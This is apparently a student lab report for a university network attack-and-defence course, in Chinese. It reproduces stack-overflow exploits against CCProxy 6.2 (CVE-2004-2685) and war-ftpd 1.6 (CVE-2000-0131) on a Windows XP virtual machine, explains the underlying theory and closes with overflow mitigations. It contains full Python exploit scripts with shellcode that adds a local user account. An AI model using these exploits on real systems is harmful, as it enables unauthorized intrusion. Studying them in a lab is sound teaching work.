两个栈溢出的CVE漏洞实验

2021届沈计所 Sen.W

实验原理

缓冲区溢出概述

  1. 定义
    • 缓冲区是指被程序内部使用或存放用户输入的内存区域,而溢出是指计算机向缓冲区填充数据时超出了缓冲区本身的容量,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
    • 由于堆栈是由内存高地址向内存低地址方向增长,而数组的变量是从内存低地址向高地址方向增长。如果没有对数据的越界进行检查和限制,通过向程序的数组缓冲区写入超出其长度的内容,覆盖堆栈原来的返回地址,就会造成缓冲区溢出,从而破坏程序的堆栈。如果构造特殊的注入向量覆盖返回地址,使程序转而执行恶意代码,就达到攻击的目的。
  2. 作用
    • 使程序崩溃,进行拒绝服务攻击
    • 在程序的地址空间里安排适当的代码。
  3. 原因
    • 程序没有仔细检查用户输入

数据执行保护DEP

  1. 原因
    在冯·诺依曼体系中不区分代码和数据

  2. 基本原理
    将数据所在内存页标识为不可执行,阻止数据页执行代码。当程序溢出成功尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

    两个栈溢出的CVE漏洞实验_第1张图片

  3. 缺点

    • 硬件DEP需要CPU的支持,但并不是所有的CPU都提供了硬件DEP的支持
    • 由于兼容性的原因Windows不能对所有进程开启DEP保护,否则可能会出现异常。例如一些第三方的插件DLL,由于无法确认其是否支持DEP,对涉及这些DLL的程序不敢贸然开启DEP保护
    • 当DEP工作在最主要的两种状态optin和optout下时,DEP是可以被动态关闭和开启的,这就说明操作系统提供了某些API函数来控制DEP的状态,而API的调用没有任何限制

栈溢出

  1. 函数调用栈
    • 运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等
    • 在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大
    • 函数状态主要涉及三个寄存器
      • ebp 存储当前执行函数的基地址,在函数运行时不变,常用来索引确定函数参数或局部变量的位置。
      • esp 存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
      • eip 存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,然后eip 自动指向下一条指令

CCProxy6.2溢出漏洞

虚拟机:VirtualBox 6.1.30
操作系统:WindowsXP SP2
主机OS:Microsoft Windows10
CVE编号:CVE-2004-2685

  1. 安装共享文件夹

    • 按照下面箭头指向程序,然后再虚拟机设置中自动挂载一个主机的共享文件夹
      两个栈溢出的CVE漏洞实验_第2张图片
  2. 关闭winxp的DEP

    • 使系统显示C:\boot.ini 两个栈溢出的CVE漏洞实验_第3张图片
    • 修改DEP选项
      两个栈溢出的CVE漏洞实验_第4张图片
  3. 查询虚拟机IP并连接ccproxy

    • 命令提示符中输入ipconfig可以获得ip地址,或者使用127.0.0.1
    • 在命令提示符中telnet 你的虚拟机IP地址 23
  4. 进行崩溃测试

    • ping输入10个a和2000个a
      两个栈溢出的CVE漏洞实验_第5张图片
  5. 安装cdb并用命令提示符打开其所在目录

    • 在目标主机上运行CCProxy
    • 运行cdb –pn ccproxy.exe
  6. 安装cdb,cd 到cdb的安装文件夹下(有cdb.exe)才能使用在cdb运行界面输入g,然后重新开启一个cmd,如上面第三步连接到ccproxy上,ping2000个A后,cdb页面可获取到访问非法事件(access violation)
    两个栈溢出的CVE漏洞实验_第6张图片

  7. 我们可以发现esp和esi寄存器也被我们所掌控

    两个栈溢出的CVE漏洞实验_第7张图片

  8. 计算返回地址的思路
    利用一串不重复的字符填充缓冲区,然后查看覆盖RET的字符串,计算它们在整个字符串中的位置,从而得出缓冲区的大小及RET的偏移

    • 安装Perl,替换lib(不是删除,而是替换全部)
      两个栈溢出的CVE漏洞实验_第8张图片
    • 生成2000个模式字符C: \Perl\bin> perl.exe patternCreate.pl 1.txt 2000
    • ping这2000个模式字符
      两个栈溢出的CVE漏洞实验_第9张图片
    • 计算eip的值在整个长为2000的字符串中的偏移
      C: \Perl\bin> perl.exe patternOffset.pl 68423768 2000得到结果1012
      两个栈溢出的CVE漏洞实验_第10张图片
    • dbg命令提示符挂起CCProxy进程后查询jmp esp命令地址
      两个栈溢出的CVE漏洞实验_第11张图片
  9. 使用指向jmp esp命令的地址覆盖返回地址,再把shellcode放置在程序执行JMP ESP指令时ESP指向的地址处,即完成攻击

    • 生成1012个字符:perl.exe patternCreate.pl 1012.txt 1012
    • 再次运行并输入2000个字符,计算程序崩溃时,esp指向的位置内容
      两个栈溢出的CVE漏洞实验_第12张图片
    • perl.exe patternOffset.pl 61413161 2000可以得到偏移为为4
  10. 构造命令字符串
    思路:在1012处的后四个字节为指令的返回地址,将指令的返回地址覆盖为jmp esp,此时的esp指向的是输入字符串的第四个字节,所以在第四个字节开始填充shellcode即可

  • 在ccproxy下的指令:ping + 空格
  • 使用4个\90填充到esp所指向的指令首地址
  • 填充shellcode(增加账户a的shellcode为80个字节)
  • 使用(1012 - 80- 4)个\90填充到第1012处
  • 使用jmp esp命令的地址\x12\x45\xfa\x7f覆盖返回地址
  • 使用91个\90填充到第1107处,如果只填充到1106处不可溢出
import socket
import os

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',23))  #telnet用的是23端口
s = sock.recv(2022)   # 设置接受对方发送的数据字节数量
# 下面80个字符shellcode具有增加a帐户的功能
shellcode = b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0' 
jmpesp = b'\x12\x45\xfa\x7f'
sendStr = b'ping ' + b'\x90'*4 + shellcode + b'\x90'*(1012-80-4)+ \
          jmpesp + b'\x90'* 91
# 最好填充91个nop原因:命令字符串长度为1107可以溢出,在1106不可溢出,why?
sock.send(sendStr)  #发送shellcode
sock.send(b'\r\n')
s = sock.recv(2022)
print(s)
  1. 其他构造
# 该构造比较短,但是也可以触发CVE漏洞,但是jmp和返回地址后的填充字符串无法解释
import socket
import os
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',23))  #telnet用的是23端口
s = sock.recv(2022)   # 设置接受对方发送的数据字节数量
# 构造shellcode
sendStr = b'ping ' + b'\x90'*4  # 该漏洞的esp就是指向第四个字节
jmp= b'\xE9\x03\xFC\xFF\xFF\x90\x90\x90'       #从0x012E6700跳到0x012E6308
# shellcode作用是在本地增加一个a帐户
shellcode = b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0' 
# 为了覆盖返回地址的填充
padding = b'a'*920                
#jmpesp = b'\x12\x45\xfa\x7f'     # 指向jmp esp指令的地址0x7ffa4512覆盖ret
jmpesp = b'\xed\x1e\x96\x7c'
# 末尾至少填充16个字符
sendStr = sendStr+jmp+shellcode+padding+jmpesp +b'a'*16
sock.send(sendStr)                         #发送shellcode
sock.send(b'\n')
s = sock.recv(2022)
  1. 攻击实现
    两个栈溢出的CVE漏洞实验_第13张图片

war-ftpd溢出漏洞

虚拟机:VirtualBox 6.1.30
虚拟机OS:WindowsXP SP2
物理机OS:Microsoft Windows10
CVE编号:CVE-2000-0131
溢出软件:war-ftpd1.6

  1. 打开 war-ftpd,是一个 ftp 服务器的守护进程

    两个栈溢出的CVE漏洞实验_第14张图片

  2. 步骤:打开Properties—Options—勾选Go Online when star—确定–重启该软件
    两个栈溢出的CVE漏洞实验_第15张图片

  3. 进行程序溢出测试,找到程序的返回地址的位置
    两个栈溢出的CVE漏洞实验_第16张图片
    两个栈溢出的CVE漏洞实验_第17张图片

    • 由上面两幅实验截图可知,程序在489个A的时候会完全出现溢出到eip中,即第486~489这四个字节覆盖了返回地址
  4. 查看常用的地址0x7FFA4512是否存在jmp esp指令
    两个栈溢出的CVE漏洞实验_第18张图片

  5. 查看esp寄存器所指向的地址
    两个栈溢出的CVE漏洞实验_第19张图片

  6. 构造攻击脚本

    from ftplib import FTP
    # 拼接shellcode
    shellcode = '\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0' 
    jmpesp = '\x12\x45\xfa\x7f'
    sendStr = 'A' * 485 + jmpesp + 'A' * 4 + shellcode
    
    ftp = FTP('127.0.0.1')
    ftp.login(sendStr, 'www') 
    
  7. 溢出成功
    两个栈溢出的CVE漏洞实验_第20张图片

难点与总结

  1. 难点

    shellcode的拼接需要准确知道返回地址的位置和esp指向的内存地址,而在拼接过程中,需要使用cdb进行动态的调试,也需要使用perl进行定位。如果出现定位错误,实验的错误难以排查,所以需要细心谨慎。

  2. 总结
    大学属于软件工程,比较注重项目工程的整体和开发效率,对于网络安全方面没有深入的研究,经过这次网络攻防课程实践,深入理解了关于栈溢出的网络攻防原理,了解了对于栈溢出的防范方法,就如老师所说,只有学会了攻击,才能学会防御。

防范方法

  1. Stack Canary
    Stack Canray是专门针对栈溢出攻击涉及的一中保护机制。由于栈溢出攻击的主要目标是通过溢出覆盖函数栈高位的返回地址,因此其思路是在函数开始执行前,即返回地址前写入一个字长的随机数据(canary),在函数返回前校验该值是否被改变,如果改变则认为是栈溢出,程序直接终止,以此来防止信息泄露。
  2. ALSR
    ALSR,全称 Address Space Layout Randomization(地址空间分布随机化)。目的是将程序的堆栈地址和动态链接库的加载地址进行一定的随机化,这些地址之间是不可读写执行的未映射内存,降低攻击者对程序内存结构的了解程序。这样,即使攻击者布置了shellcode 并可以控制转跳,由于内存地址结构的未知,依然无法执行shellcode。
  3. PIE
    与ASLR保护十分类似,PIE保护的目的是让可执行程序ELF的地址进行随机化加载,从而使得程序的内存结构对攻击者完全未知。
  4. NX
    NX保护在window中也被称为 DEP,是通过现代操作系统的内存保护单元机制对程序内存按页的粒度进行权限设置,其基本规则为可写权限与可执行权限互斥,基本规则是将数据所在内存页标识为不可执行。开启NX保护后,所有可以被修改写入shellcode的内存都不可执行,所有可以被执行的代码数据都不可被修改。
  5. RELRO
    在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.
  6. 使用安全的函数,比如strcpy_s()。
  7. 使用具有安全机制的语言,如Rust

参考资料

  1. 漏洞原因https://blog.csdn.net/m0_46161993/article/details/106255148

  2. CCProxy 6.2 溢出漏洞分析https://blog.csdn.net/daoyikong_x18/article/details/22860717

  3. 关闭数据执行保护https://blog.csdn.net/weixin_34078749/article/details/119230382
    资料

  4. 漏洞原因https://blog.csdn.net/m0_46161993/article/details/106255148

  5. CCProxy 6.2 溢出漏洞分析https://blog.csdn.net/daoyikong_x18/article/details/22860717

  6. 关闭数据执行保护https://blog.csdn.net/weixin_34078749/article/details/119230382

你可能感兴趣的:(国科大学习,网络安全)